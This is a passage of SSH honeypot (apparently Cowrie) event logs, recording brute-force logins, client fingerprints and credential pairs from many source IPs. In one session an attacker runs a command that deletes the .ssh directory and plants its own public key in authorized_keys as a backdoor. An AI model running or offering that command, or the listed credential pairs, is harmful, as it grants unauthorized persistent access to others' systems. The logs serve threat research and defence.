ha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:57.134266Z","src_ip":"163.7.9.84","session":"ef5eb810ce1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"woaini520.","message":"login attempt [root/woaini520.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:58.173435Z","src_ip":"163.7.9.84","session":"ef5eb810ce1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:59.426862Z","src_ip":"163.7.9.84","session":"ef5eb810ce1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":42040,"dst_ip":"159.203.135.109","dst_port":22,"session":"feaae975a34d","protocol":"ssh","message":"New connection: 14.63.196.175:42040 (159.203.135.109:22) [session: feaae975a34d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:02.680265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:02.685326Z","src_ip":"14.63.196.175","session":"feaae975a34d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:02.898535Z","src_ip":"14.63.196.175","session":"feaae975a34d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle@2025","message":"login attempt [oracle/oracle@2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:03.760775Z","src_ip":"14.63.196.175","session":"feaae975a34d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:04.240042Z","src_ip":"14.63.196.175","session":"feaae975a34d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:04.244066Z","src_ip":"14.63.196.175","session":"feaae975a34d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:04.249110Z","src_ip":"14.63.196.175","session":"feaae975a34d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:04.465078Z","src_ip":"14.63.196.175","session":"feaae975a34d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:04.945852Z","src_ip":"14.63.196.175","session":"feaae975a34d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:04.954290Z","src_ip":"14.63.196.175","session":"feaae975a34d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:05.173976Z","src_ip":"14.63.196.175","session":"feaae975a34d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:05.177450Z","src_ip":"14.63.196.175","session":"feaae975a34d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":43980,"dst_ip":"159.203.135.109","dst_port":22,"session":"760408834102","protocol":"ssh","message":"New connection: 14.63.196.175:43980 (159.203.135.109:22) [session: 760408834102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:05.367947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:05.377065Z","src_ip":"14.63.196.175","session":"760408834102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:05.580050Z","src_ip":"14.63.196.175","session":"760408834102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:06.418091Z","src_ip":"14.63.196.175","session":"760408834102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:07.625723Z","src_ip":"14.63.196.175","session":"760408834102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":45490,"dst_ip":"159.203.135.109","dst_port":22,"session":"d07af6e2845a","protocol":"ssh","message":"New connection: 14.63.196.175:45490 (159.203.135.109:22) [session: d07af6e2845a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:07.824312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:07.831115Z","src_ip":"14.63.196.175","session":"d07af6e2845a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:08.030051Z","src_ip":"14.63.196.175","session":"d07af6e2845a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:08.869089Z","src_ip":"14.63.196.175","session":"d07af6e2845a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:09.071915Z","src_ip":"14.63.196.175","session":"d07af6e2845a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:09.076664Z","src_ip":"14.63.196.175","session":"feaae975a34d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":50706,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad08d9377911","protocol":"ssh","message":"New connection: 152.32.214.226:50706 (159.203.135.109:22) [session: ad08d9377911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:16.036815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:16.041828Z","src_ip":"152.32.214.226","session":"ad08d9377911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:16.263541Z","src_ip":"152.32.214.226","session":"ad08d9377911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Password01","message":"login attempt [user/Password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:17.179811Z","src_ip":"152.32.214.226","session":"ad08d9377911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:18.402989Z","src_ip":"152.32.214.226","session":"ad08d9377911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5858,"dst_ip":"10.17.0.5","dst_port":22,"session":"0420a8aebbc8","protocol":"ssh","message":"New connection: 196.188.93.169:5858 (10.17.0.5:22) [session: 0420a8aebbc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:20.263589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:20.268466Z","src_ip":"196.188.93.169","session":"0420a8aebbc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:20.434825Z","src_ip":"196.188.93.169","session":"0420a8aebbc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"relay","password":"relay","message":"login attempt [relay/relay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:21.133395Z","src_ip":"196.188.93.169","session":"0420a8aebbc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:22.308519Z","src_ip":"196.188.93.169","session":"0420a8aebbc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":44020,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b5457340d85","protocol":"ssh","message":"New connection: 45.123.217.22:44020 (10.17.0.5:22) [session: 6b5457340d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:24.106031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:24.110381Z","src_ip":"45.123.217.22","session":"6b5457340d85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:24.340869Z","src_ip":"45.123.217.22","session":"6b5457340d85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zookeeper","password":"zookeeper@123","message":"login attempt [zookeeper/zookeeper@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:25.296656Z","src_ip":"45.123.217.22","session":"6b5457340d85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:26.529924Z","src_ip":"45.123.217.22","session":"6b5457340d85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":41848,"dst_ip":"159.203.135.109","dst_port":22,"session":"4af8aa4a71f0","protocol":"ssh","message":"New connection: 103.153.68.219:41848 (159.203.135.109:22) [session: 4af8aa4a71f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:41.095527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:41.102237Z","src_ip":"103.153.68.219","session":"4af8aa4a71f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 